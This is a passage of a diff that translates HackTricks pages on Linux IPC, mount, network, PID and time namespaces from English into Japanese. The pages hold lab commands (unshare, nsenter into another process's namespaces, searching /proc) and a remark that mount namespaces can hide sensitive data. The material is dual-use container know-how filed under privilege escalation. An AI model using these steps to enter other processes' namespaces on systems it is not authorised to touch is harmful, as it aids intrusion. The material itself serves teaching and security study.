- 新しいネームスペース内で PID 1 が終了すると、`PIDNS_HASH_ADDING` フラグがクリーニングされます。これにより、新しいプロセスを作成する際に新しい PID を割り当てる `alloc_pid` 関数が失敗し、「メモリを割り当てることができません」というエラーが発生します。
3. **Solution**:
- The issue can be resolved by using the `-f` option with `unshare`. This option makes `unshare` fork a new process after creating the new PID namespace.
- Executing `%unshare -fp /bin/bash%` ensures that the `unshare` command itself becomes PID 1 in the new namespace. `/bin/bash` and its child processes are then safely contained within this new namespace, preventing the premature exit of PID 1 and allowing normal PID allocation.
3. **解決策**：
- この問題は、`unshare` に `-f` オプションを使用することで解決できます。このオプションは、`unshare` が新しい PID ネームスペースを作成した後に新しいプロセスをフォークします。
- `%unshare -fp /bin/bash%` を実行すると、`unshare` コマンド自体が新しいネームスペース内で PID 1 になります。これにより、`/bin/bash` とその子プロセスはこの新しいネームスペース内に安全に収容され、PID 1 の早期終了を防ぎ、正常な PID 割り当てを可能にします。
By ensuring that `unshare` runs with the `-f` flag, the new PID namespace is correctly maintained, allowing `/bin/bash` and its sub-processes to operate without encountering the memory allocation error.
`unshare` が `-f` フラグで実行されることを保証することで、新しい PID ネームスペースが正しく維持され、`/bin/bash` とそのサブプロセスがメモリ割り当てエラーに遭遇することなく動作できるようになります。
</details>
#### Docker
```bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
```
### &#x20;Check which namespace is your process in
### &#x20;プロセスがどの名前空間にあるかを確認する
```bash
ls -l /proc/self/ns/ipc
lrwxrwxrwx 1 root root 0 Apr 4 20:37 /proc/self/ns/ipc -> 'ipc:[4026531839]'
```
### Find all IPC namespaces
### すべてのIPCネームスペースを見つける
```bash
sudo find /proc -maxdepth 3 -type l -name ipc -exec readlink {} \; 2>/dev/null | sort -u
# Find the processes with an specific namespace
sudo find /proc -maxdepth 3 -type l -name ipc -exec ls -l {} \; 2>/dev/null | grep <ns-number>
```
### Enter inside an IPC namespace
### IPCネームスペースに入る
```bash
nsenter -i TARGET_PID --pid /bin/bash
```
また、**ルートでない限り、他のプロセス名前空間に入ることはできません**。そして、**ディスクリプタ**がそれを指していない限り、他の名前空間に**入ることはできません**（例えば、`/proc/self/ns/net`のように）。
Also, you can only **enter in another process namespace if you are root**. And you **cannot** **enter** in other namespace **without a descriptor** pointing to it (like `/proc/self/ns/net`).
### Create IPC object
### IPCオブジェクトを作成する
```bash
# Container
sudo unshare -i /bin/bash
@ -93,8 +82,7 @@ key shmid owner perms bytes nattch status
# From the host
ipcs -m # Nothing is seen
```
## References
## 参考文献
- [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)

74
src/linux-hardening/privilege-escalation/docker-security/namespaces/mount-namespace.md
View File

@ -1,71 +1,64 @@
# Mount Namespace
# マウントネームスペース
{{#include ../../../../banners/hacktricks-training.md}}
## Basic Information
## 基本情報
A mount namespace is a Linux kernel feature that provides isolation of the file system mount points seen by a group of processes. Each mount namespace has its own set of file system mount points, and **changes to the mount points in one namespace do not affect other namespaces**. This means that processes running in different mount namespaces can have different views of the file system hierarchy.
マウントネームスペースは、プロセスのグループが見るファイルシステムのマウントポイントを隔離するLinuxカーネルの機能です。各マウントネームスペースは独自のファイルシステムマウントポイントのセットを持ち、**あるネームスペースのマウントポイントへの変更は他のネームスペースに影響を与えません**。これは、異なるマウントネームスペースで実行されているプロセスがファイルシステム階層の異なるビューを持つことができることを意味します。
Mount namespaces are particularly useful in containerization, where each container should have its own file system and configuration, isolated from other containers and the host system.
マウントネームスペースは、各コンテナが他のコンテナやホストシステムから隔離された独自のファイルシステムと構成を持つべきであるコンテナ化に特に便利です。
### How it works:
### 仕組み:
1. When a new mount namespace is created, it is initialized with a **copy of the mount points from its parent namespace**. This means that, at creation, the new namespace shares the same view of the file system as its parent. However, any subsequent changes to the mount points within the namespace will not affect the parent or other namespaces.
2. When a process modifies a mount point within its namespace, such as mounting or unmounting a file system, the **change is local to that namespace** and does not affect other namespaces. This allows each namespace to have its own independent file system hierarchy.
3. Processes can move between namespaces using the `setns()` system call, or create new namespaces using the `unshare()` or `clone()` system calls with the `CLONE_NEWNS` flag. When a process moves to a new namespace or creates one, it will start using the mount points associated with that namespace.
4. **File descriptors and inodes are shared across namespaces**, meaning that if a process in one namespace has an open file descriptor pointing to a file, it can **pass that file descriptor** to a process in another namespace, and **both processes will access the same file**. However, the file's path may not be the same in both namespaces due to differences in mount points.
1. 新しいマウントネームスペースが作成されると、**親ネームスペースからのマウントポイントのコピーで初期化されます**。これは、作成時に新しいネームスペースが親と同じファイルシステムのビューを共有することを意味します。しかし、その後のネームスペース内のマウントポイントへの変更は、親や他のネームスペースに影響を与えません。
2. プロセスがそのネームスペース内のマウントポイントを変更すると、例えばファイルシステムをマウントまたはアンマウントする場合、**変更はそのネームスペースにローカルであり**、他のネームスペースには影響を与えません。これにより、各ネームスペースは独自の独立したファイルシステム階層を持つことができます。
3. プロセスは`setns()`システムコールを使用してネームスペース間を移動することができ、`unshare()`または`clone()`システムコールを`CLONE_NEWNS`フラグと共に使用して新しいネームスペースを作成することができます。プロセスが新しいネームスペースに移動するか、新しいネームスペースを作成すると、そのネームスペースに関連付けられたマウントポイントを使用し始めます。
4. **ファイルディスクリプタとinodeはネームスペース間で共有されます**。つまり、あるネームスペースのプロセスがファイルを指すオープンファイルディスクリプタを持っている場合、その**ファイルディスクリプタを他のネームスペースのプロセスに渡すことができ**、**両方のプロセスが同じファイルにアクセスします**。ただし、マウントポイントの違いにより、ファイルのパスは両方のネームスペースで同じではない場合があります。
## Lab:
## ラボ:
### Create different Namespaces
### 異なるネームスペースを作成する
#### CLI
```bash
sudo unshare -m [--mount-proc] /bin/bash
```
By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **accurate and isolated view of the process information specific to that namespace**.
新しいインスタンスの `/proc` ファイルシステムを `--mount-proc` パラメータを使用してマウントすることで、新しいマウントネームスペースがそのネームスペースに特有のプロセス情報の**正確で隔離されたビュー**を持つことを保証します。
<details>
<summary>Error: bash: fork: Cannot allocate memory</summary>
<summary>エラー: bash: fork: メモリを割り当てることができません</summary>
When `unshare` is executed without the `-f` option, an error is encountered due to the way Linux handles new PID (Process ID) namespaces. The key details and the solution are outlined below:
`unshare` が `-f` オプションなしで実行されると、Linux が新しい PID (プロセス ID) ネームスペースを処理する方法のためにエラーが発生します。重要な詳細と解決策は以下の通りです：
1. **Problem Explanation**:
1. **問題の説明**：
- The Linux kernel allows a process to create new namespaces using the `unshare` system call. However, the process that initiates the creation of a new PID namespace (referred to as the "unshare" process) does not enter the new namespace; only its child processes do.
- Running `%unshare -p /bin/bash%` starts `/bin/bash` in the same process as `unshare`. Consequently, `/bin/bash` and its child processes are in the original PID namespace.
- The first child process of `/bin/bash` in the new namespace becomes PID 1. When this process exits, it triggers the cleanup of the namespace if there are no other processes, as PID 1 has the special role of adopting orphan processes. The Linux kernel will then disable PID allocation in that namespace.
- Linux カーネルは、プロセスが `unshare` システムコールを使用して新しいネームスペースを作成することを許可します。しかし、新しい PID ネームスペースの作成を開始するプロセス（「unshare」プロセスと呼ばれる）は新しいネームスペースに入らず、その子プロセスのみが入ります。
- `%unshare -p /bin/bash%` を実行すると、`unshare` と同じプロセスで `/bin/bash` が開始されます。その結果、`/bin/bash` とその子プロセスは元の PID ネームスペースに存在します。
- 新しいネームスペース内の `/bin/bash` の最初の子プロセスは PID 1 になります。このプロセスが終了すると、他にプロセスがない場合、ネームスペースのクリーンアップがトリガーされます。PID 1 は孤児プロセスを引き取る特別な役割を持っています。Linux カーネルはそのネームスペース内での PID 割り当てを無効にします。
2. **Consequence**:
2. **結果**：
- The exit of PID 1 in a new namespace leads to the cleaning of the `PIDNS_HASH_ADDING` flag. This results in the `alloc_pid` function failing to allocate a new PID when creating a new process, producing the "Cannot allocate memory" error.
- 新しいネームスペース内での PID 1 の終了は、`PIDNS_HASH_ADDING` フラグのクリーンアップを引き起こします。これにより、新しいプロセスを作成する際に `alloc_pid` 関数が新しい PID を割り当てることに失敗し、「メモリを割り当てることができません」というエラーが発生します。
3. **Solution**:
- The issue can be resolved by using the `-f` option with `unshare`. This option makes `unshare` fork a new process after creating the new PID namespace.
- Executing `%unshare -fp /bin/bash%` ensures that the `unshare` command itself becomes PID 1 in the new namespace. `/bin/bash` and its child processes are then safely contained within this new namespace, preventing the premature exit of PID 1 and allowing normal PID allocation.
3. **解決策**：
- この問題は、`unshare` に `-f` オプションを使用することで解決できます。このオプションは、`unshare` が新しい PID ネームスペースを作成した後に新しいプロセスをフォークします。
- `%unshare -fp /bin/bash%` を実行すると、`unshare` コマンド自体が新しいネームスペース内で PID 1 になります。これにより、`/bin/bash` とその子プロセスはこの新しいネームスペース内に安全に収容され、PID 1 の早期終了を防ぎ、正常な PID 割り当てを可能にします。
By ensuring that `unshare` runs with the `-f` flag, the new PID namespace is correctly maintained, allowing `/bin/bash` and its sub-processes to operate without encountering the memory allocation error.
`unshare` が `-f` フラグで実行されることを保証することで、新しい PID ネームスペースが正しく維持され、`/bin/bash` とそのサブプロセスがメモリ割り当てエラーに遭遇することなく動作できるようになります。
</details>
#### Docker
```bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
```
### &#x20;Check which namespace is your process in
### &#x20;プロセスがどの名前空間にあるかを確認する
```bash
ls -l /proc/self/ns/mnt
lrwxrwxrwx 1 root root 0 Apr 4 20:30 /proc/self/ns/mnt -> 'mnt:[4026531841]'
```
### Find all Mount namespaces
### すべてのマウントネームスペースを見つける
```bash
sudo find /proc -maxdepth 3 -type l -name mnt -exec readlink {} \; 2>/dev/null | sort -u
# Find the processes with an specific namespace
@ -75,19 +68,15 @@ sudo find /proc -maxdepth 3 -type l -name mnt -exec ls -l {} \; 2>/dev/null | g
```bash
findmnt
```
### Enter inside a Mount namespace
### マウントネームスペースに入る
```bash
nsenter -m TARGET_PID --pid /bin/bash
```
また、**ルートでなければ他のプロセスネームスペースに入ることはできません**。そして、**ディスクリプタ**がそれを指していない限り、他のネームスペースに**入ることはできません**（例えば `/proc/self/ns/mnt` のように）。
Also, you can only **enter in another process namespace if you are root**. And you **cannot** **enter** in other namespace **without a descriptor** pointing to it (like `/proc/self/ns/mnt`).
Because new mounts are only accessible within the namespace it's possible that a namespace contains sensitive information that can only be accessible from it.
### Mount something
新しいマウントはネームスペース内でのみアクセス可能であるため、ネームスペースにはそれからのみアクセス可能な機密情報が含まれている可能性があります。
### 何かをマウントする
```bash
# Generate new mount ns
unshare -m /bin/bash
@ -127,8 +116,7 @@ systemd-private-3d87c249e8a84451994ad692609cd4b6-systemd-timesyncd.service-FAnDq
vmware-root_662-2689143848
```
## References
## 参考文献
- [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)
- [https://unix.stackexchange.com/questions/464033/understanding-how-mount-namespaces-work-in-linux](https://unix.stackexchange.com/questions/464033/understanding-how-mount-namespaces-work-in-linux)

66
src/linux-hardening/privilege-escalation/docker-security/namespaces/network-namespace.md
View File

@ -1,86 +1,76 @@
# Network Namespace
# ネットワーク名前空間
{{#include ../../../../banners/hacktricks-training.md}}
## Basic Information
## 基本情報
A network namespace is a Linux kernel feature that provides isolation of the network stack, allowing **each network namespace to have its own independent network configuration**, interfaces, IP addresses, routing tables, and firewall rules. This isolation is useful in various scenarios, such as containerization, where each container should have its own network configuration, independent of other containers and the host system.
ネットワーク名前空間は、ネットワークスタックの隔離を提供するLinuxカーネルの機能であり、**各ネットワーク名前空間が独自のネットワーク構成**、インターフェース、IPアドレス、ルーティングテーブル、およびファイアウォールルールを持つことを可能にします。この隔離は、各コンテナが他のコンテナやホストシステムとは独立したネットワーク構成を持つべきであるコンテナ化など、さまざまなシナリオで有用です。
### How it works:
### 仕組み:
1. When a new network namespace is created, it starts with a **completely isolated network stack**, with **no network interfaces** except for the loopback interface (lo). This means that processes running in the new network namespace cannot communicate with processes in other namespaces or the host system by default.
2. **Virtual network interfaces**, such as veth pairs, can be created and moved between network namespaces. This allows for establishing network connectivity between namespaces or between a namespace and the host system. For example, one end of a veth pair can be placed in a container's network namespace, and the other end can be connected to a **bridge** or another network interface in the host namespace, providing network connectivity to the container.
3. Network interfaces within a namespace can have their **own IP addresses, routing tables, and firewall rules**, independent of other namespaces. This allows processes in different network namespaces to have different network configurations and operate as if they are running on separate networked systems.
4. Processes can move between namespaces using the `setns()` system call, or create new namespaces using the `unshare()` or `clone()` system calls with the `CLONE_NEWNET` flag. When a process moves to a new namespace or creates one, it will start using the network configuration and interfaces associated with that namespace.
1. 新しいネットワーク名前空間が作成されると、**完全に隔離されたネットワークスタック**が開始され、ループバックインターフェース（lo）を除いて**ネットワークインターフェースは存在しません**。これは、新しいネットワーク名前空間内で実行されているプロセスが、デフォルトでは他の名前空間やホストシステムのプロセスと通信できないことを意味します。
2. vethペアのような**仮想ネットワークインターフェース**を作成し、ネットワーク名前空間間で移動させることができます。これにより、名前空間間または名前空間とホストシステム間でネットワーク接続を確立できます。たとえば、vethペアの一方の端をコンテナのネットワーク名前空間に配置し、もう一方の端をホスト名前空間の**ブリッジ**または別のネットワークインターフェースに接続することで、コンテナにネットワーク接続を提供します。
3. 名前空間内のネットワークインターフェースは、他の名前空間とは独立して**独自のIPアドレス、ルーティングテーブル、およびファイアウォールルール**を持つことができます。これにより、異なるネットワーク名前空間内のプロセスは異なるネットワーク構成を持ち、別々のネットワークシステム上で実行されているかのように動作できます。
4. プロセスは、`setns()`システムコールを使用して名前空間間を移動したり、`unshare()`または`clone()`システムコールを使用して`CLONE_NEWNET`フラグで新しい名前空間を作成したりできます。プロセスが新しい名前空間に移動するか、新しい名前空間を作成すると、その名前空間に関連付けられたネットワーク構成とインターフェースを使用し始めます。
## Lab:
## ラボ:
### Create different Namespaces
### 異なる名前空間を作成する
#### CLI
```bash
sudo unshare -n [--mount-proc] /bin/bash
# Run ifconfig or ip -a
```
By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **accurate and isolated view of the process information specific to that namespace**.
新しいインスタンスの `/proc` ファイルシステムを `--mount-proc` パラメータを使用してマウントすることで、新しいマウントネームスペースがそのネームスペースに特有のプロセス情報の**正確で孤立したビュー**を持つことを保証します。
<details>
<summary>Error: bash: fork: Cannot allocate memory</summary>
<summary>エラー: bash: fork: メモリを割り当てできません</summary>
When `unshare` is executed without the `-f` option, an error is encountered due to the way Linux handles new PID (Process ID) namespaces. The key details and the solution are outlined below:
`unshare` が `-f` オプションなしで実行されると、Linux が新しい PID (プロセス ID) ネームスペースを処理する方法によりエラーが発生します。重要な詳細と解決策は以下の通りです：
1. **Problem Explanation**:
1. **問題の説明**：
- The Linux kernel allows a process to create new namespaces using the `unshare` system call. However, the process that initiates the creation of a new PID namespace (referred to as the "unshare" process) does not enter the new namespace; only its child processes do.
- Running `%unshare -p /bin/bash%` starts `/bin/bash` in the same process as `unshare`. Consequently, `/bin/bash` and its child processes are in the original PID namespace.
- The first child process of `/bin/bash` in the new namespace becomes PID 1. When this process exits, it triggers the cleanup of the namespace if there are no other processes, as PID 1 has the special role of adopting orphan processes. The Linux kernel will then disable PID allocation in that namespace.
- Linux カーネルは、プロセスが `unshare` システムコールを使用して新しいネームスペースを作成することを許可します。しかし、新しい PID ネームスペースの作成を開始するプロセス（「unshare」プロセスと呼ばれる）は新しいネームスペースに入らず、その子プロセスのみが入ります。
- `%unshare -p /bin/bash%` を実行すると、`unshare` と同じプロセスで `/bin/bash` が開始されます。その結果、`/bin/bash` とその子プロセスは元の PID ネームスペースに存在します。
- 新しいネームスペース内の `/bin/bash` の最初の子プロセスは PID 1 になります。このプロセスが終了すると、他にプロセスがない場合、ネームスペースのクリーンアップがトリガーされます。PID 1 は孤児プロセスを引き取る特別な役割を持っています。Linux カーネルはそのネームスペース内で PID 割り当てを無効にします。
2. **Consequence**:
2. **結果**：
- The exit of PID 1 in a new namespace leads to the cleaning of the `PIDNS_HASH_ADDING` flag. This results in the `alloc_pid` function failing to allocate a new PID when creating a new process, producing the "Cannot allocate memory" error.
- 新しいネームスペース内で PID 1 が終了すると、`PIDNS_HASH_ADDING` フラグがクリーニングされます。これにより、新しいプロセスを作成する際に `alloc_pid` 関数が新しい PID を割り当てることに失敗し、「メモリを割り当てできません」というエラーが発生します。
3. **Solution**:
- The issue can be resolved by using the `-f` option with `unshare`. This option makes `unshare` fork a new process after creating the new PID namespace.
- Executing `%unshare -fp /bin/bash%` ensures that the `unshare` command itself becomes PID 1 in the new namespace. `/bin/bash` and its child processes are then safely contained within this new namespace, preventing the premature exit of PID 1 and allowing normal PID allocation.
3. **解決策**：
- この問題は、`unshare` に `-f` オプションを使用することで解決できます。このオプションにより、`unshare` は新しい PID ネームスペースを作成した後に新しいプロセスをフォークします。
- `%unshare -fp /bin/bash%` を実行すると、`unshare` コマンド自体が新しいネームスペース内で PID 1 になります。これにより、`/bin/bash` とその子プロセスはこの新しいネームスペース内に安全に収容され、PID 1 の早期終了を防ぎ、正常な PID 割り当てを可能にします。
By ensuring that `unshare` runs with the `-f` flag, the new PID namespace is correctly maintained, allowing `/bin/bash` and its sub-processes to operate without encountering the memory allocation error.
`unshare` が `-f` フラグで実行されることを保証することで、新しい PID ネームスペースが正しく維持され、`/bin/bash` とそのサブプロセスがメモリ割り当てエラーに遭遇することなく動作できるようになります。
</details>
#### Docker
```bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
# Run ifconfig or ip -a
```
### &#x20;Check which namespace is your process in
### &#x20;プロセスがどの名前空間にあるかを確認する
```bash
ls -l /proc/self/ns/net
lrwxrwxrwx 1 root root 0 Apr 4 20:30 /proc/self/ns/net -> 'net:[4026531840]'
```
### Find all Network namespaces
### すべてのネットワーク名前空間を見つける
```bash
sudo find /proc -maxdepth 3 -type l -name net -exec readlink {} \; 2>/dev/null | sort -u | grep "net:"
# Find the processes with an specific namespace
sudo find /proc -maxdepth 3 -type l -name net -exec ls -l {} \; 2>/dev/null | grep <ns-number>
```
### Enter inside a Network namespace
### ネットワーク名前空間に入る
```bash
nsenter -n TARGET_PID --pid /bin/bash
```
また、**ルートでない限り、他のプロセスの名前空間に入ることはできません**。そして、**ディスクリプタ**がそれを指していない限り、他の名前空間に**入ることはできません**（例えば、`/proc/self/ns/net`のように）。
Also, you can only **enter in another process namespace if you are root**. And you **cannot** **enter** in other namespace **without a descriptor** pointing to it (like `/proc/self/ns/net`).
## References
## 参考文献
- [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)

70
src/linux-hardening/privilege-escalation/docker-security/namespaces/pid-namespace.md
View File

@ -2,87 +2,77 @@
{{#include ../../../../banners/hacktricks-training.md}}
## Basic Information
## 基本情報
The PID (Process IDentifier) namespace is a feature in the Linux kernel that provides process isolation by enabling a group of processes to have their own set of unique PIDs, separate from the PIDs in other namespaces. This is particularly useful in containerization, where process isolation is essential for security and resource management.
PID (プロセス識別子) 名前空間は、Linux カーネルの機能であり、プロセスの隔離を提供します。これにより、一群のプロセスが他の名前空間の PID とは別に独自の一意の PID セットを持つことができます。これは、プロセスの隔離がセキュリティとリソース管理にとって重要なコンテナ化に特に役立ちます。
When a new PID namespace is created, the first process in that namespace is assigned PID 1. This process becomes the "init" process of the new namespace and is responsible for managing other processes within the namespace. Each subsequent process created within the namespace will have a unique PID within that namespace, and these PIDs will be independent of PIDs in other namespaces.
新しい PID 名前空間が作成されると、その名前空間内の最初のプロセスには PID 1 が割り当てられます。このプロセスは新しい名前空間の「init」プロセスとなり、その名前空間内の他のプロセスを管理する責任を負います。名前空間内で作成される各後続プロセスは、その名前空間内で一意の PID を持ち、これらの PID は他の名前空間の PID とは独立しています。
From the perspective of a process within a PID namespace, it can only see other processes in the same namespace. It is not aware of processes in other namespaces, and it cannot interact with them using traditional process management tools (e.g., `kill`, `wait`, etc.). This provides a level of isolation that helps prevent processes from interfering with one another.
PID 名前空間内のプロセスの視点から見ると、同じ名前空間内の他のプロセスのみを見ることができます。他の名前空間のプロセスを認識せず、従来のプロセス管理ツール（例: `kill`, `wait` など）を使用して相互作用することはできません。これにより、プロセスが互いに干渉するのを防ぐための隔離レベルが提供されます。
### How it works:
### 仕組み:
1. When a new process is created (e.g., by using the `clone()` system call), the process can be assigned to a new or existing PID namespace. **If a new namespace is created, the process becomes the "init" process of that namespace**.
2. The **kernel** maintains a **mapping between the PIDs in the new namespace and the corresponding PIDs** in the parent namespace (i.e., the namespace from which the new namespace was created). This mapping **allows the kernel to translate PIDs when necessary**, such as when sending signals between processes in different namespaces.
3. **Processes within a PID namespace can only see and interact with other processes in the same namespace**. They are not aware of processes in other namespaces, and their PIDs are unique within their namespace.
4. When a **PID namespace is destroyed** (e.g., when the "init" process of the namespace exits), **all processes within that namespace are terminated**. This ensures that all resources associated with the namespace are properly cleaned up.
1. 新しいプロセスが作成されると（例: `clone()` システムコールを使用して）、プロセスは新しいまたは既存の PID 名前空間に割り当てられることがあります。**新しい名前空間が作成されると、プロセスはその名前空間の「init」プロセスになります**。
2. **カーネルは新しい名前空間内の PID と親名前空間内の対応する PID との間の** **マッピングを維持します**（つまり、新しい名前空間が作成された親名前空間）。このマッピングは、**カーネルが必要に応じて PID を変換できるようにします**。たとえば、異なる名前空間のプロセス間で信号を送信する際などです。
3. **PID 名前空間内のプロセスは、同じ名前空間内の他のプロセスのみを見たり相互作用したりできます**。他の名前空間のプロセスを認識せず、その PID は自分の名前空間内で一意です。
4. **PID 名前空間が破棄されると**（例: 名前空間の「init」プロセスが終了すると）、**その名前空間内のすべてのプロセスが終了します**。これにより、名前空間に関連付けられたすべてのリソースが適切にクリーンアップされます。
## Lab:
## ラボ:
### Create different Namespaces
### 異なる名前空間を作成する
#### CLI
```bash
sudo unshare -pf --mount-proc /bin/bash
```
<details>
<summary>Error: bash: fork: Cannot allocate memory</summary>
<summary>エラー: bash: fork: メモリを割り当てできません</summary>
When `unshare` is executed without the `-f` option, an error is encountered due to the way Linux handles new PID (Process ID) namespaces. The key details and the solution are outlined below:
`unshare`が`-f`オプションなしで実行されると、Linuxが新しいPID（プロセスID）名前空間を処理する方法のためにエラーが発生します。重要な詳細と解決策は以下の通りです：
1. **Problem Explanation**:
1. **問題の説明**：
- The Linux kernel allows a process to create new namespaces using the `unshare` system call. However, the process that initiates the creation of a new PID namespace (referred to as the "unshare" process) does not enter the new namespace; only its child processes do.
- Running `%unshare -p /bin/bash%` starts `/bin/bash` in the same process as `unshare`. Consequently, `/bin/bash` and its child processes are in the original PID namespace.
- The first child process of `/bin/bash` in the new namespace becomes PID 1. When this process exits, it triggers the cleanup of the namespace if there are no other processes, as PID 1 has the special role of adopting orphan processes. The Linux kernel will then disable PID allocation in that namespace.
- Linuxカーネルは、プロセスが`unshare`システムコールを使用して新しい名前空間を作成することを許可します。しかし、新しいPID名前空間の作成を開始するプロセス（「unshare」プロセスと呼ばれる）は、新しい名前空間に入ることはなく、その子プロセスのみが入ります。
- `%unshare -p /bin/bash%`を実行すると、`unshare`と同じプロセスで`/bin/bash`が開始されます。その結果、`/bin/bash`とその子プロセスは元のPID名前空間に存在します。
- 新しい名前空間内の`/bin/bash`の最初の子プロセスはPID 1になります。このプロセスが終了すると、他にプロセスがない場合、名前空間のクリーンアップがトリガーされます。PID 1は孤児プロセスを引き取る特別な役割を持っているためです。Linuxカーネルはその名前空間でのPID割り当てを無効にします。
2. **Consequence**:
2. **結果**：
- The exit of PID 1 in a new namespace leads to the cleaning of the `PIDNS_HASH_ADDING` flag. This results in the `alloc_pid` function failing to allocate a new PID when creating a new process, producing the "Cannot allocate memory" error.
- 新しい名前空間内でPID 1が終了すると、`PIDNS_HASH_ADDING`フラグがクリーニングされます。これにより、新しいプロセスを作成する際に`alloc_pid`関数が新しいPIDを割り当てることに失敗し、「メモリを割り当てできません」というエラーが発生します。
3. **Solution**:
- The issue can be resolved by using the `-f` option with `unshare`. This option makes `unshare` fork a new process after creating the new PID namespace.
- Executing `%unshare -fp /bin/bash%` ensures that the `unshare` command itself becomes PID 1 in the new namespace. `/bin/bash` and its child processes are then safely contained within this new namespace, preventing the premature exit of PID 1 and allowing normal PID allocation.
3. **解決策**：
- この問題は、`unshare`に`-f`オプションを使用することで解決できます。このオプションは、`unshare`が新しいPID名前空間を作成した後に新しいプロセスをフォークすることを意味します。
- `%unshare -fp /bin/bash%`を実行すると、`unshare`コマンド自体が新しい名前空間内でPID 1になります。これにより、`/bin/bash`とその子プロセスはこの新しい名前空間内に安全に収容され、PID 1の早期終了を防ぎ、通常のPID割り当てを可能にします。
By ensuring that `unshare` runs with the `-f` flag, the new PID namespace is correctly maintained, allowing `/bin/bash` and its sub-processes to operate without encountering the memory allocation error.
`unshare`が`-f`フラグで実行されることを確保することで、新しいPID名前空間が正しく維持され、`/bin/bash`とそのサブプロセスがメモリ割り当てエラーに遭遇することなく動作できるようになります。
</details>
By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **accurate and isolated view of the process information specific to that namespace**.
新しいインスタンスの`/proc`ファイルシステムをマウントすることで、`--mount-proc`パラメータを使用すると、新しいマウント名前空間がその名前空間に特有のプロセス情報の**正確で隔離されたビュー**を持つことが保証されます。
#### Docker
```bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
```
### &#x20;Check which namespace are your process in
### &#x20;プロセスがどの名前空間にあるかを確認する
```bash
ls -l /proc/self/ns/pid
lrwxrwxrwx 1 root root 0 Apr 3 18:45 /proc/self/ns/pid -> 'pid:[4026532412]'
```
### Find all PID namespaces
### すべてのPID名前空間を見つける
```bash
sudo find /proc -maxdepth 3 -type l -name pid -exec readlink {} \; 2>/dev/null | sort -u
```
初期（デフォルト）PID名前空間からのrootユーザーは、新しいPID名前空間内のプロセスを含むすべてのプロセスを見ることができるため、すべてのPID名前空間を見ることができます。
Note that the root use from the initial (default) PID namespace can see all the processes, even the ones in new PID names paces, thats why we can see all the PID namespaces.
### Enter inside a PID namespace
### PID名前空間に入る
```bash
nsenter -t TARGET_PID --pid /bin/bash
```
PID ネームスペースにデフォルトのネームスペースから入ると、すべてのプロセスを見ることができます。そして、その PID ns のプロセスは新しい bash を PID ns で見ることができます。
When you enter inside a PID namespace from the default namespace, you will still be able to see all the processes. And the process from that PID ns will be able to see the new bash on the PID ns.
Also, you can only **enter in another process PID namespace if you are root**. And you **cannot** **enter** in other namespace **without a descriptor** pointing to it (like `/proc/self/ns/pid`)
また、**root でない限り、他のプロセスの PID ネームスペースに入ることはできません**。そして、**ディスクリプタ**がそれを指していない限り、他のネームスペースに **入ることはできません**（例えば `/proc/self/ns/pid` のように）。
## References

52
src/linux-hardening/privilege-escalation/docker-security/namespaces/time-namespace.md
View File

@ -1,72 +1,62 @@
# Time Namespace
# タイムネームスペース
{{#include ../../../../banners/hacktricks-training.md}}
## Basic Information
## 基本情報
The time namespace in Linux allows for per-namespace offsets to the system monotonic and boot-time clocks. It is commonly used in Linux containers to change the date/time within a container and adjust clocks after restoring from a checkpoint or snapshot.
Linuxのタイムネームスペースは、システムのモノトニックおよびブートタイムクロックに対する名前空間ごとのオフセットを可能にします。これは、コンテナ内の日付/時刻を変更し、チェックポイントまたはスナップショットから復元した後にクロックを調整するために、Linuxコンテナで一般的に使用されます。
## Lab:
## ラボ:
### Create different Namespaces
### 異なるネームスペースを作成する
#### CLI
```bash
sudo unshare -T [--mount-proc] /bin/bash
```
By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **accurate and isolated view of the process information specific to that namespace**.
新しいインスタンスの `/proc` ファイルシステムをマウントすることで、`--mount-proc` パラメータを使用すると、新しいマウントネームスペースがそのネームスペースに特有のプロセス情報の**正確で孤立したビュー**を持つことが保証されます。
<details>
<summary>Error: bash: fork: Cannot allocate memory</summary>
<summary>エラー: bash: fork: メモリを割り当てることができません</summary>
When `unshare` is executed without the `-f` option, an error is encountered due to the way Linux handles new PID (Process ID) namespaces. The key details and the solution are outlined below:
`unshare` が `-f` オプションなしで実行されると、Linux が新しい PID (プロセス ID) ネームスペースを処理する方法のためにエラーが発生します。重要な詳細と解決策は以下の通りです：
1. **Problem Explanation**:
1. **問題の説明**：
- The Linux kernel allows a process to create new namespaces using the `unshare` system call. However, the process that initiates the creation of a new PID namespace (referred to as the "unshare" process) does not enter the new namespace; only its child processes do.
- Running `%unshare -p /bin/bash%` starts `/bin/bash` in the same process as `unshare`. Consequently, `/bin/bash` and its child processes are in the original PID namespace.
- The first child process of `/bin/bash` in the new namespace becomes PID 1. When this process exits, it triggers the cleanup of the namespace if there are no other processes, as PID 1 has the special role of adopting orphan processes. The Linux kernel will then disable PID allocation in that namespace.
- Linux カーネルは、プロセスが `unshare` システムコールを使用して新しいネームスペースを作成することを許可します。しかし、新しい PID ネームスペースの作成を開始するプロセス（「unshare」プロセスと呼ばれる）は新しいネームスペースに入らず、その子プロセスのみが入ります。
- `%unshare -p /bin/bash%` を実行すると、`unshare` と同じプロセスで `/bin/bash` が開始されます。その結果、`/bin/bash` とその子プロセスは元の PID ネームスペースに存在します。
- 新しいネームスペース内の `/bin/bash` の最初の子プロセスは PID 1 になります。このプロセスが終了すると、他にプロセスがない場合、孤児プロセスを引き取る特別な役割を持つ PID 1 によりネームスペースのクリーンアップがトリガーされます。Linux カーネルはそのネームスペース内での PID 割り当てを無効にします。
2. **Consequence**:
